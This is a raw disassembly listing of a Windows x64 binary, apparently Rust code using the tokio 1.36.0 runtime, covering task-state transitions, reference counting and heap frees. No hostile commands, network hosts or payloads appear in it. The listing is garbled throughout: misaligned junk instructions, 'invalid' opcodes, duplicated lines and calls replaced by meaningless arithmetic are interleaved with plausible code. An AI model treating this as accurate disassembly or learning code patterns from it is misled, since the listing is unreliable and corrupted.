verr word [rbp + 0x48]
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea ecx, [rbx + 0xd0]
lea ecx, [rbx + 0xd0]
add byte [rax], al
lea rdx, [0x1400e42d0]
lea edx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
and byte [rcx], al
add byte [rax], al
invalid
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xf37c405], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.14008f4c0
mov qword [rsi + 0x30], 2
xorps xmm0, xmm0
movups xmmword [rsi + 0x38], xmm0
mov qword [rsi + 0x48], 0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
add byte [rbx + 0x317401f8], al
add byte [rbx + 0x317401f8], al
test eax, eax
jne 0x14008ec1d
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rcx, rsi
call 0x14008f590
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14008ea25
xorps xmm6, xmm6
test eax, eax
jne 0x14008ea51
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
jmp 0x14008ea25
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14008eb68
xorps xmm6, xmm6
test eax, eax
jne 0x14008eb94
test byte [rbp - 0x87af040], 0xfe
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
jmp 0x14008eb68
lea rcx, str.assertion_failed:_next.is_notified__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ddc8]
mov edx, 0x24
call fcn.140108350
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x60]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
cmp rax, 2
je 0x14008eed5
test rax, rax
je 0x14008eed5
mov rdi, qword [rsi + 8]
test rdi, rdi
je 0x14008eed5
mov rbx, qword [rsi + 0x10]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14008eed5
cmp qword [rbx + 0x10], 0x11
jb 0x14008eec3
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
xor cl, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x20], dh
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
nop word cs:[rax + rax]
mov rcx, rax
xor edx, edx
test cl, 3
sete dl
or rdx, rax
or rdx, 0x20
lock cmpxchg qword [rsi], rdx
jne 0x14008f1d0
test cl, 3
je 0x14008f266
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008f499
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14008f43f
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008f225
lea rcx, [rsi + 0x20]
call fcn.1400687d0
lea rcx, [rsi + 0x30]
call fcn.14008f4c0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x14008f244
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008f2bd
xorps xmm6, xmm6
test eax, eax
jne 0x14008f2e9
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
lock add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lock add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14008f4c0
mov qword [rsi + 0x30], 3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008f351
test eax, eax
jne 0x14008f44e
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14008f4c0
mov qword [rsi + 0x30], 2
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008f40f
test eax, eax
jne 0x14008f429
invalid
mov r8d, dword [0x140182314]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x14008f590
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14008f36f
xorps xmm6, xmm6
test eax, eax
jne 0x14008f39b
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
add rax, 0x5574e800
add al, 0
add rax, 0x5574e800
add al, 0
mov byte [r14 + 0x120], 1
jmp 0x14008f36f
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
push rsi
push rdi
push rbx
sub rsp, 0x90
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x80], esi
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x80], esi
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x14008f5b0
test al, 1
je case.0x140050c3f.190
test al, 2
jne 0x14008f7b3
test al, 8
jne 0x14008f6d6
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008f62d
xorps xmm6, xmm6
test eax, eax
jne 0x14008f659
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
adc eax, 0x54caf
adc eax, 0x54caf
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
sub al, 0xf
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rcx, [rsi + 0x30]
call fcn.14008f4c0
mov qword [rsi + 0x30], 3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008f6ba
test eax, eax
jne 0x14008f6f4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
sub al, 0xf
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
lea edx, [0x1400e42d0]
lea edx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
jmp 0x14008f6f4
test al, 0x10
je 0x14008f6f4
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x14008f837
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x10]
add bh, bh
push rax
adc byte [rax - 0x73], cl
jle 0x14008f718
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec470
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
fdiv st(0)
xadd qword [rsi], rax
invalid
fdiv st(0)
xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x14008f7cb
jne 0x14008f788
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x14008f743
mov rcx, rdi
call fcn.1400687d0
nop
std
invalid
nop
std
dec dword [rax - 0x73]
xor al, r13b
je 0x14008f747
lea rcx, [rsi + 0x30]
call fcn.14008f4c0
mov rax, qword [rsi + 0xe8]
test rax, rax
test eax, eax
invalid
test eax, eax
je 0x14008f762
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
or eax, 0xf2af3
or eax, 0xf2af3
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
add byte [rax], al
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014de48]
mov edx, 0x23
add byte [rax], al
add al, ch
popfq
mov eax, dword [rdi]
invalid
add byte [rax], al
add al, ch
popfq
mov eax, dword [rdi]
add byte [rax - 0x73], cl
or eax, 0xbe6a6
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014de88]
or eax, dword [rax]
mov edx, 0x25
call fcn.140108350
add byte [rax], al
add al, ch
test dword [rbx - 0x76b7fff9], ecx
and al, 0x28
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
and al, 0x28
sub byte [rax - 0x77], cl
and al, 0x60
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012f00]
add eax, 0xfff8371f
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
and al, 0x20
and al, 0x20
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
invalid
js 0x14008f83e
lea rax, str.current:___sub:
lea eax, [0x14014deb0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
add byte [rax - 0x39], cl
and al, 0x50
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x50
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xbe6a3
invalid
out 0xb, al
invalid
lea rdx, [0x14014ded0]
movabs dword [0x30244c8d48000be6], eax
lea rcx, [rsp + 0x30]
call fcn.140108280
mov al, byte [r15]
add byte [rax - 0x73], cl
add eax, 0xbe21a
loop 0x14008f848
invalid
lea rax, str.waker_missing
loop 0x14008f848
or eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x39], cl
and al, 0x40
or byte [rax], al
add byte [rax], al
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.140108280
int3
sub dword [rsp + 0x90], esi
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x14008f8aa
add byte [rax - 0x77], cl
invalid
nop dword [rax]
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xe1
and rcx, 0xfffffffffffffff8
mov rcx, rax
and rcx, 0xfffffffffffffff8
loope 0x14008f88f
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x14008f8d5
test al, 4
je 0x14008ff21
test al, 3
je 0x14008f890
cmp rax, 0x3f
jbe 0x14008ff39
invalid
add byte [rax], al
invalid
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14008f8aa
movzx eax, dl
lea rcx, [0x140177c04]
invalid
invalid
or dword [rsi], 0
invalid
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014e140]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0
cmp dword [rsi + 0x30], 2
jae 0x14008ff51
lea rdi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
je case.0x1400733a2.72
xorps xmm6, xmm6
test eax, eax
jne 0x14008f9a3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
add rax, 0x5091e800
add al, 0
add rax, 0x5091e800
add al, 0
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
verr word [rbp + 0x48]
mov ecx, dword [0x58]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
adc byte [rax + 0xf0], dh
adc byte [rax + 0xf0], dh
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14008be60
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
or al, 0xca
or al, 0xca
movzx ecx, byte [rcx + 0x120]
add byte [rax], al
cmp ecx, 1
je 0x14008fa05
test ecx, ecx
jne 0x14008fa21
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
invalid
cmp ebp, dword [rcx]
verr word [rbp + 0x48]
mov edx, dword [0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
retf 0x8d49
mov r14, qword [rdx + rcx*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
mov ebx, eax
call fcn.1400d4a00
mov eax, ebx
mov byte [r14 + 0x120], 1
and byte [rcx], al
add byte [rax], al
invalid
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xf29090d], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
invalid
mov cl, 1
add byte [rcx + 0xfc08401], dh
test byte [rdx], cl
add al, byte [rax]
add byte [rax - 0x77], cl
int1
test al, al
je 0x14008fc33
mov rcx, rsi
call fcn.1400e6d10
movzx eax, al
add byte [rdi], cl
mov dh, 0xc0
lea rcx, [0x140177c14]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eabe0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008ff89
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x14008fa42.0
lea rcx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14008fa86
call fcn.1400396d0
mov rcx, rdi
stc
jmp 0x14008faa2
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
jne 0x14008fa9e
lea rcx, [rsi + 0x20]
call fcn.1400396d0
lea rcx, [rsi + 0x30]
call fcn.14008f4c0
mov rax, qword [rsi + 0xe8]
add byte [rax - 0x7b], cl
invalid
je 0x14008fabd
add byte [rax - 0x7b], cl
sal byte [rdx + rcx + 0x48], 0x8b
invalid
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
clc
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14008fa42.0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rax], 1
add byte [rax], al
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je 0x14008fb2c
xorps xmm6, xmm6
test eax, eax
jne 0x14008fb58
pop rcx
pop rcx
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
sub byte [rdi], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
mov al, 0x47
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x547b0
mov al, 0x47
invalid
invalid
mov al, 0x47
add eax, 0x4edbe800
add al, 0
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
and dword [rax], 1
add byte [rax], al
add dword [rbx + 0xf27e205], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14008f4c0
mov qword [rsi + 0x30], 3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008fbc0
test eax, eax
jne 0x14008fdf3
test dword [rax + 2], esp
add byte [rax], al
test dword [rax + 2], esp
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
add dword [rax], eax
add byte [rcx], al
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
add eax, 0xf274e
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
lock add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
invalid
lock add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rbx + 0xf273005], cl
add byte [rbp + 0x48], ah
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14008f4c0
mov qword [rsi + 0x30], 2
mov qword [rsi + 0x38], 1
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x50], rbx
jmp 0x14008fd6c
mov rbx, qword [rsi + 0x28]
cmp cl, 1
invalid
je 0x14008fc74
sub byte [rax + 0x387401f9], al
add dword [rax + rdi + 0xf], esi
mov dh, 0xc1
movzx eax, cl
xorps xmm6, xmm6
test eax, eax
jne 0x14008fca0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
add al, 0
add al, 0
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
invalid
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
ror dword [rdi], 0x10
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14008f4c0
mov qword [rdi], 3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
clc
invalid
je 0x14008fd03
clc
add dword [rbp + rsi - 0x7b], esi
test eax, eax
jne 0x14008fe3e
test dword [rax + 1], ebp
add byte [rax], al
mov eax, dword [0x140182314]
test eax, eax
jne 0x14008fe3e
test dword [rax + 1], ebp
add byte [rax], al
test dword [rax + 1], ebp
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
or esp, dword [rsi]
verr word [rbp + 0x48]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14008f4c0
mov qword [rsi + 0x30], 2
xorps xmm0, xmm0
movups xmmword [rsi + 0x38], xmm0
mov qword [rsi + 0x48], 0
mov dword [rsi + 0x48], 0
mov dword [rsi + 0x48], 0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008fdbc
test eax, eax
jne 0x14008fdd6
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rcx, rsi
call 0x1400905a0
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14008fbde
xorps xmm6, xmm6
test eax, eax
jne 0x14008fc0a
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
jmp 0x14008fbde
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14008fd21
invalid
invalid
invalid
pop rsi
sub byte [rbx - 0x7bf0fe08], al
invalid
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x14008fd4d
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov r14, qword [rcx + rax*8]
mov esi, dword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
test byte [rbx + 4], cl
add byte [rcx - 0x3a], al
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
test byte [rbx + 4], cl
add byte [rcx - 0x3a], al
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
jmp 0x14008fd21
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
clc
invalid
je 0x14008fee1
clc
add dword [rbp + rsi + 0xf], esi
push rdi
test byte [rbp - 0x74a58a40], 5
pop rbx
and al, 0xf
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
xorps xmm6, xmm6
test eax, eax
jne 0x14008ff0d
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
add byte [rcx - 0x3a], al
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
add byte [rcx - 0x3a], al
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
adc byte [rax + 0xf0], dh
adc byte [rax + 0xf0], dh
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
cwde
clc
add byte [rax], al
invalid
cwde
clc
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.14008f4c0
mov qword [rdi], 3
jmp 0x14008fb6c
lea rcx, str.assertion_failed:_next.is_notified__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ddc8]
mov edx, 0x24
call fcn.140108350
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
